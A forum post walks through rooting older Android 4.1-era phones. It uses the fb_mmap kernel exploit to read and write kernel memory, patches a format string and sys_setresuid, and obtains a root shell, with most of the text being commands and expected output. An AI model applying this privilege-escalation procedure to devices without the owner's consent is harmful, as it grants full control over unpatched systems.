[Android Software/Hacking General [Developers Only]] xdej:
Here is an open-source method, based on djrbliss' fb_mmap exploit, to possibly root your phone (with adb enabled).

Theoretically, everything which is in the compatibility list of motochopper should be compatible with my open-source method.

Theoretically, it may even work for other phones, included old phones and old tablets, provided the fb_mmap exploit is not patched. But so far it was only tested on Android v4.1.

You may want to use the recovery mode to boot the oldest official ROM you can find for your device (with our without flashing it), it should be older than mid 2013, when that but was found.

It does not need to be an exynos-based device: I use only this name exynos because I reused the priviledge escalation that was in the exynos exploit.

In step 1, kernelchopper uses the fb_mmap exploit to gain read-write access on the kernel residing in memory. Then a priviledge escalation in step 2 and 3 gives a root shell, without modifying the SDcard or any files, without rebooting.

It is based on:

- 300 lines of C code I attached to this post (older version is attached there)

- an ARM compiler to compile this code, if you do not want to trust my resulting binaries attached to http://xdaforums.com/showpost.php?p=44872887&postcount=14

- any apk with a terminal you trust (I use Install Terminal IDE, Terminal Emulator will do).

- any busybox you trust (I use the one from Terminal IDE).

- a computer with the android developpement package, I used adt-bundle-linux-x86-20130729

STEP 0: You may apply this on any Android system on your own risks. If your output of any instruction is not exactly as shown here, you should adapt following instructions accordingly (following color codes, and counting underlined words in hexadecimal notation), or better quit. If you do not get exactly all the outputs I colored here in red, you should QUIT or change previous instructions.

If you have no internal microSD, I suggest to you to first chdir a directory of you computer which can host one file of size >4Gb (3898777809 bytes for my padfone 2, the day I bought it).

STEP 1: finding s_show->seq_printf format string (in example given found at: 0x80c281c6).

Open terminal IDE, select "install system". You do not need to "install gcc". The select the first menu item named "terminal IDE", and type at its prompt:

chmod 1777 /data/data/com.spartacusrex.spartacuside/files ; cp system/bin/busybox grep ; chmod 755 grep

We now use adb to put all attached files (unzipped) in /data/data/com.spartacusrex.spartacuside/files. The /usr/bin/script command is specific to linux; if you do not have it, it would be more difficult to make bug reports, and you will need a microSD card, or an USB disc plugged into your android.

script backup_before_installing_su_to_disk
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/kernelchopper /data/data/com.spartacusrex.spartacuside/files
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/exynos-abuse-static /data/data/com.spartacusrex.spartacuside/files
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb shell
cd /data/data/com.spartacusrex.spartacuside/files
./grep -l . /dev/graphics/fb0
[COLOR="Red"]/dev/graphics/fb0[/COLOR]
./grep Kernel /proc/iomem
[COLOR="RoyalBlue"]80208000[/COLOR]-80d9e39f : Kernel code
80f04000-8128184b : Kernel data
./kernelchopper d [COLOR="RoyalBlue"]80208000[/COLOR] 2
[COLOR="RoyalBlue"]80208000[/COLOR] 00 00
./kernelchopper d [COLOR="RoyalBlue"]80208000[/COLOR] c00000 | ./grep -C 1 '25 70 4b 20 25 63 20 25 73 0a 00\|: 70 4b 20 25 63 20 25 73 0a 00\|: 4b 20 25 63 20 25 73 0a 00\|: 20 25 63 20 25 73 0a 00\|: 25 63 20 25 73 0a 00\|: 63 20 25 73 0a 00\|25 70 4b 20 25 63 20 25 73 0a $\|25 70 4b 20 25 63 20 25 73 $\|25 70 4b 20 25 63 20 25 $\|25 70 4b 20 25 63 20 25 $\|25 70 4b 20 25 63 20 $\|25 70 4b 20 25 63 $' | ./grep -C 1 '25 70 4b 20 25 63 20 25 73 0a 00\|: 20 25 73 0a 00\|: 25 73 0a 00\|: 73 0a 00\|: 0a 00\|: 00\|25 70 4b 20 25 $\|25 70 4b 20 $\|25 70 4b $\|25 70 4b $\|25 70 $\|25 $'
[COLOR="Green"]80c281c[/COLOR]0: 5b 25 73 5d 0a 00 25 70 4b 20 25 63 20 25 73 0a
80c281d0: 00 6b 61 6c 6c 73 79 6d 73 00 2b 25 23 6c 78 2f
./kernelchopper d [COLOR="Green"]80c281c[/COLOR]0 20
80c281c0: [U]5b 25 73 5d 0a 00[/U] 25 70 4b 20 25 63 20 25 73 0a
80c281d0: 00 6b 61 6c 6c 73 79 6d 73 00 2b 25 23 6c 78 2f
./kernelchopper d [COLOR="Green"]80c281c[/COLOR][U]6[/U] b
[COLOR="Olive"]80c281c6[/COLOR]: [COLOR="Red"]25 70 4b 20 25 63 20 25 73 0a 00[/COLOR]
./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR]
[COLOR="Red"]204b7025[/COLOR]
./grep sys_setresuid /proc/kallsyms
00000000 T sys_setresuid
00000000 T sys_setresuid16
./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR] 20207025
./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR]
[COLOR="Red"]20207025[/COLOR]
./grep sys_setresuid /proc/kallsyms
c[COLOR="SandyBrown"]00856f0[/COLOR] T sys_setresuid
c00b7318 T sys_setresuid16

Notice that /proc/kallsyms now gives offsets instead of 00000000.

STEP 2: patching sys_setresuid, applying manually exynos-abuse.c (found at 0x802856f0, which is 0x00856f0 plus 80208000). You should replace the underlined lone 8 by the number of bytes underlined, before the 00 00 50 e3 ...

./kernelchopper d [COLOR="YellowGreen"]802856f0[/COLOR] 80 | ./grep '00 00 50 e3\|20 00 00 ea'
[COLOR="Purple"]8028572[/COLOR]0: [U]04 72 93 e5 a7 da ff eb[/U] 00 00 50 e3 20 00 00 ea
./kernelchopper d [COLOR="Purple"]8028572[/COLOR][U]8[/U] 8
[COLOR="MediumTurquoise"]80285728[/COLOR]: [COLOR="Red"]00 00 50 e3 20 00 00 ea[/COLOR]
./kernelchopper m [COLOR="MediumTurquoise"]80285728[/COLOR]
[COLOR="Red"]e3500000[/COLOR]
./kernelchopper m [COLOR="MediumTurquoise"]80285728[/COLOR] e3500001

STEP 3: getting a root shell.

./exynos-abuse-static
2000@android:/data/data/com.spartacusrex.spartacuside/files # /system/bin/id
uid=[COLOR="Red"]0[/COLOR](root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)

Step 4: now you are root until end of connexion by adb. I strongly suggest to you to make the first true backup, to have a chance to restore phone to current state. With an internal microSD, you can type:

cp grep bzip2
./bzip2 -c < /dev/block/mmcblk0 > /Removable/Storage1/backup.bz2

To exploit this file, you will need kpartx.

If you have NO internal microSD, try a network wifi drive; or if you can wait a full day (like me), you can do:

cp grep bzip2
cp grep uuencode
./bzip2 -c < /dev/block/mmcblk0 | ./uuencode -

The result will be shown on current window, so you have better hide it once it works. I had a performance of 400kb/s with hidden xterm.

You will then be able to recover its content with

LANG= grep -aA99999999 '^begin 666 -' < backup_before_installing_su_to_diskreal | uudecode -o backup.bz2

You may now install /system/xbin/su, eventually renamed to avoid exposing su to malware. I personnaly installed suid root a wrapper to the sshd service of gentooandroid.sourceforge.net.

Here is my firmware.

Android version: 4.1.1, 3.4.0-perf-g64..., M3.13.30-A68_101034 [Jan 22 2013]

If you need help, please type up-arrow repeatedly, down-arrow repeatedly, then provide the file backup_before_installing_su_to_diskreal.

Credits to alephzain for original version of exynos-abuse.c, SW686 for kernelchopper.c, spartacusrex for Google-Play's Terminal IDE.

This was tested independently here, and the first version of this post was made in the same thread.

Please suggest tags, this is the first thread I open.